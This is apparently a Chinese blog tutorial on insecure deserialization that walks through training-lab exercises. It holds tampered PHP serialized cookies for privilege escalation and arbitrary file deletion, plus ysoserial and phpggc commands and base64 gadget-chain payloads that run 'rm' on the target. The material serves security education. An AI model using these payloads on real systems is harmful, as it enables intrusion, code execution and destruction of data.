该漏洞的原因出自于如果应用对不可信的数据,例如恶意构造的用户输入进行反序列化,从而产生非预期的对象,从而有可能产生远程代码执行。
1. 什么是序列化?
序列化是将复杂的数据结构(例如对象及其字段)转换为“更扁平”格式的过程,该格式可以作为字节顺序流发送和接收。序列化数据使其更容易:
- 将复杂数据写入进程间内存,文件或数据库
- 例如,通过网络,在应用程序的不同组件之间或在API调用中发送复杂的数据
至关重要的是,在序列化对象时,其状态也将保留下来。换句话说,将保留对象的属性及其分配的值。
2.序列化与反序列化
反序列化是将字节流还原为原始对象的完整功能副本的过程,其状态与序列化时的状态完全相同。然后,网站的逻辑可以与此反序列化的对象进行交互,就像与任何其他对象进行交互一样。
3. 什么是不安全的反序列化?
不安全的反序列化是指网站对用户可控制的数据进行反序列化时。这可能使攻击者能够操纵序列化的对象,以将有害数据传递到应用程序代码中。
甚至有可能用完全不同类的对象替换序列化的对象。令人震惊的是,将对网站可用的任何类别的对象进行反序列化和实例化,而与预期的类别无关。因此,不安全的反序列化有时称为“对象注入”漏洞。
意外类的对象可能会导致异常。但是,到此时,损坏可能已经造成。许多基于反序列化的攻击是在反序列化完成之前完成的。这意味着即使网站本身的功能未与恶意对象直接交互,反序列化过程本身也可以发起攻击。因此,其逻辑基于强类型语言的网站也可能容易受到这些技术的攻击。
4. 不安全的反序列化漏洞如何产生?
由于通常认为反序列化对象是可信任的,因此也可能会出现漏洞。尤其是当使用具有二进制序列化格式的语言时,开发人员可能会认为用户无法有效读取或操纵数据。但是,尽管可能需要更多的精力,但攻击者有可能利用二进制序列化的对象,就像利用基于字符串的格式一样。
5. 不安全的反序列化有何影响?
不安全的反序列化的影响可能非常严重,因为它为大规模增加攻击面提供了切入点。它允许攻击者以有害的方式重用现有的应用程序代码,从而导致许多其他漏洞,通常是远程执行代码。
即使在无法执行远程代码的情况下,不安全的反序列化也可能导致特权升级,任意文件访问和拒绝服务攻击。
6. 利用不安全的反序列化漏洞
6.1 识别序列化
6.1.1 PHP序列化格式
PHP使用一种人类可读的字符串格式,其中字母代表数据类型,数字代表每个条目的长度。例如,考虑User
具有以下属性的对象:
1 | $user->name = "carlos"; |
序列化后,该对象可能看起来像这样:
1 | O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;} |
可以解释如下:
1 | O:4:"User" -具有4个字符的类名称的对象 "User" |
PHP序列化的本机方法是serialize()
和unserialize()
。如果您具有源代码访问权限,则应从unserialize()
代码中的任意位置开始并进行进一步调查。
6.1.2 Java序列化格式
某些语言(例如Java)使用二进制序列化格式。这更难以阅读,但是如果您知道如何识别一些明显的迹象,您仍然可以识别序列化的数据。例如,序列化的Java对象始终以相同的字节开头,这些字节的编码方式为十六进制和Base64。
任何实现该接口的类java.io.Serializable
都可以序列化和反序列化。如果您具有源代码访问权限,请注意使用该readObject()
方法的所有代码,该方法用于从中读取和反序列化数据InputStream
。
6.2 操作序列化对象
利用一些反序列化漏洞可以像更改序列化对象中的属性一样容易。随着对象状态的持久化,您可以研究序列化的数据以识别和编辑有趣的属性值。然后,您可以通过反序列化过程将恶意对象传递到网站中。这是基本反序列化利用的第一步。
广义上讲,在处理序列化对象时可以采用两种方法。您可以直接以对象的字节流形式对其进行编辑,也可以使用相应的语言编写简短的脚本来自己创建和序列化新对象。使用二进制序列化格式时,后一种方法通常更容易。
6.2.1 修改对象属性
登录账户后,重新刷新首页,抓包:
可以看到cookie位置为base64加密后的数据,经过解码:
1 | O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;} |
得到一段序列化的数据,可以看到第二个字段为判断是否为admin,Boolean值为0,可以通过修改为1接着base64加密后重新发包。
可以访问admin界面了
6.2.2 修改数据类型
同样登录账户,刷新主页抓包得到base64编码后的cookie值,解码后得:
1 | O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"AeVESwbLNxZqqVmSo6z7qdj2aMzhfuTu";} |
若要通过administrator账户登录,则需要通过修改序列化:
1 | O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;} |
首先修改第一个字段的用户名,记得s后面的字符串个数也要修改。其次修改后面的token值,通过php的弱类型比较的逻辑缺陷(比较字符串整数时:0 == “Example string” // true),把后面的字符串个数修改为整数个数为0。重新base64编码发包。
6.3 使用应用程序功能
除了简单地检查属性值外,网站的功能还可能会对反序列化对象中的数据执行危险的操作。在这种情况下,您可以使用不安全的反序列化来传递意外数据,并利用相关功能造成损害。
例如,作为网站“删除用户”功能的一部分,通过访问$user->image_location
属性中的文件路径来删除用户的个人资料图片。如果这$user
是从序列化对象创建的,则攻击者可以通过将带有image_location
集合的已修改对象传递到任意文件路径来利用此漏洞。删除他们自己的用户帐户也将删除此任意文件。
登录账户,点击我的账户中可以看到有个删除账户,抓包得到一个POST请求包,对cookie解码得:
1 | O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"93JrRRDWHKoJFprg7nQAe0BVGCYvx5RH";s:11:"avatar_link";s:19:"users/wiener/avatar";} |
可以看到最后一个字段的值是一个文件路径,可以通过修改文件路径来进行任意文件的删除,经过修改序列化数据:
1 | O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"93JrRRDWHKoJFprg7nQAe0BVGCYvx5RH";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";} |
base64编码后重新发包,成功删除指定文件。
6.4 魔术方法
魔术方法已被广泛使用,它们本身并不表示漏洞。但是,当它们执行的代码处理攻击者可控制的数据(例如来自反序列化对象的数据)时,它们可能会变得危险。当满足相应条件时,攻击者可以利用它来自动对反序列化的数据调用方法。
6.5 注入任意对象
反序列化方法通常不会检查正在反序列化的内容。这意味着您可以传入网站可用的任何可序列化类的对象,并且该对象将被反序列化。这有效地使攻击者可以创建任意类的实例。该对象不是预期类的事实并不重要。意外的对象类型可能会导致应用程序逻辑中的异常,但是届时恶意对象将已经实例化。
在站点地图中,网站引用了文件/libs/CustomTemplate.php
,文件名后加 ~ 字符查看源代码,进行代码审计。
在源代码中,请注意CustomTemplate
该类包含__destruct()
魔法方法。这将调用属性unlink()
上的方法lock_file_path
,这将删除此路径上的文件。
通过构造序列化数据:
1 | O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";} |
base64编码修改cookie重新发包,成功删除指定文件。
6.6 Gadget链
“Gadget”是应用程序中存在的代码片段,可以帮助攻击者实现特定目标。单个Gadget可能不会直接对用户输入造成任何有害影响。但是,攻击者的目标可能只是调用一种方法,该方法会将其输入传递给另一个Gadget。通过以这种方式将多个Gadget链接在一起,攻击者可以潜在地将其输入传递到危险的“接收器Gadget”中,从而在其中造成最大的破坏。
重要的是要了解,与某些其他类型的利用不同,Gadget链不是攻击者构建的链接方法的有效负载。网站上已经存在所有代码。攻击者唯一控制的是传递到Gadget链中的数据。通常使用反序列化期间调用的魔术方法(有时称为“启动Gadget”)完成此操作。
6.6.1 使用Apache Commons开发Java反序列化
登录到您自己的帐户,观察会话cookie包含序列化的Java对象。向Burp Repeater发送包含会话cookie的请求。
下载“ ysoserial”工具并执行以下命令:java -jar path/to/ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
这将生成一个包含有效负载的序列化对象,将会话cookie替换为刚创建的恶意cookie,并对整个字符串进行URL编码:
6.6.2 通过预建的Gadget链利用PHP反序列化
登录并观察cookie中的序列化数据,进行uel解码,包含使用SHA-1 HMAC哈希签名的会话令牌。Base64对令牌进行解码以发现它包含序列化的PHP对象。如果修改Cookie,则会引发异常,因为此数字签名不再匹配。还要注意内部服务器错误,该错误表明网站正在使用Symfony 4.3.6。
找到/cgi-bin/phpinfo.php
文件中,存在泄露网站的SECRET_KEY
:
下载“ PHPGGC”工具并执行以下命令:
1 | ./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64 |
这将生成一个包含有效负载的序列化对象:
1 | Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg== |
创建一个包含恶意对象的有效的经过签名的cookie。您可以使用以下PHP脚本执行此操作。该$object
是Base64编码刚刚生成的对象,$secretKey
是从获得的phpinfo.php
文件中的SECRET_KEY
:
1 | <?php |
修改cookie为生成的恶意cookie,重新发包,成功删除指定文件:
6.6.3 使用已记录的Gadget链开发Ruby反序列化
登录账户,抓包base64解码查看cookie包含序列化的Ruby对象,查找Luke Jahnke撰写的“ Ruby 2.x Universal RCE Gadget Chain”。复制用于生成有效负载的脚本,然后将应执行的命令从id
更改为rm /home/carlos/morale.txt
并运行脚本。这将生成一个包含有效负载的序列化对象。输出包含对象的十六进制和Base64编码版本。复制Base64编码的对象:
1 | BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNwZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uCDoRQGxvYWRlZF9mcm9tSSIlfHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IDE+JjIGOgZFVDoKQGRhdGEwOwkwbzsIADoRQGRldmVsb3BtZW50Rg== |
同样需要url编码,修改cookie重新发包:
7. 如何防止不安全的反序列化漏洞
一般而言,除非绝对必要,否则应避免对用户输入进行反序列化。在许多情况下,它可能带来的利用的高度严重性以及防范这些利用的难度超过了收益。
如果确实需要对来自不受信任来源的数据进行反序列化,请采用可靠的措施以确保数据未被篡改。例如,您可以实施数字签名来检查数据的完整性。但是,请记住,在开始反序列化过程之前,必须进行任何检查。否则,它们几乎没有用。
如果可能,应避免完全使用通用的反序列化功能。这些方法的序列化数据包含原始对象的所有属性,包括可能包含敏感信息的私有字段。相反,您可以创建自己的特定于类的序列化方法,以便至少可以控制公开哪些字段。